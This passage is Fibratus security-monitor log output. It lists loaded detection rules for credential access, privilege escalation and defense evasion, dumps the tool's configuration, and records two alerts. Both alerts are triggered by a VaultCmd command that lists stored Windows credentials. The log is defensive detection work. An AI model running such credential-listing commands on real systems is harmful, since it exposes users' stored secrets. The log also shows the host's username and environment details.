source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T16:25:22+01:00 level=info msg=bootstrapping with pid 8672. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T16:25:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false use-template=>true to=>[] port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-mem=>false max-buffers=>36 min-buffers=>16 flush-interval=>1s enable-threadpool=>false stack-enrichment=>true enable-dns=>false enable-image=>true enable-thread=>true enable-audit-api=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-fileio=>true enable-net=>true enable-registry=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ amqp=>[ vhost=>/ routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 exchange-type=>topic durable=>false delivery-mode=>transient exchange=>fibratus enabled=>false] elasticsearch=>[ enabled=>false sniff=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-interval=>10s flush-period=>1s trace-log=>false template-name=>fibratus index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1 timeout=>5s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false endpoints=>[] method=>POST]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s skip-files=>false skip-mmaps=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false fastscan=>true excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T16:25:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:25:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:26:23+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 13022969 + Pid: 14688 + Tid: 12572 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:26:20.2259174 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\VaultCmd.exe" "/listcreds:Windows Credentials" /all, directory_table_base➜ 320b79000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\VaultCmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f835a60c0, name➜ VaultCmd.exe, pid➜ 9648, ppid➜ 14688, real_ppid➜ 14688, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 16:26:20.2259174 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores + + Pid: 14688 + Ppid: 13892 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:6fa9dade-931c-4557-8021-ab1c51907163 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:26:23+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\WINDOWS\system32\VaultCmd.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 13022969 + Pid: 14688 + Tid: 12572 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:26:20.2259174 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\VaultCmd.exe" "/listcreds:Windows Credentials" /all, directory_table_base➜ 320b79000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\VaultCmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f835a60c0, name➜ VaultCmd.exe, pid➜ 9648, ppid➜ 14688, real_ppid➜ 14688, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 16:26:20.2259174 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.seq.link: 1764948414585665016, rule.name: Suspicious Vault client DLL load, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, technique.id: T1555 + + Pid: 14688 + Ppid: 13892 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:6fa9dade-931c-4557-8021-ab1c51907163 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 13023314 + Pid: 9648 + Tid: 14704 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:26:20.2404564 +0100 CET + Params: base_address➜ 7ffcb5f70000, checksum➜ 356647, default_address➜ 7ffcb5f70000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 9648, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: technique.id: T1555, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.seq.link: 1764948414585665016, rule.name: Suspicious Vault client DLL load, tactic.name: Credential Access + + Pid: 9648 + Ppid: 14688 + Name: VaultCmd.exe + Parent name: powershell.exe + Cmdline: "C:\WINDOWS\system32\VaultCmd.exe" "/listcreds:Windows Credentials" /all + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\WINDOWS\system32\VaultCmd.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\VaultCmd.exe" "/listcreds:Windows Credentials" /all] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T16:26:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:26:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:26:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:26:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from 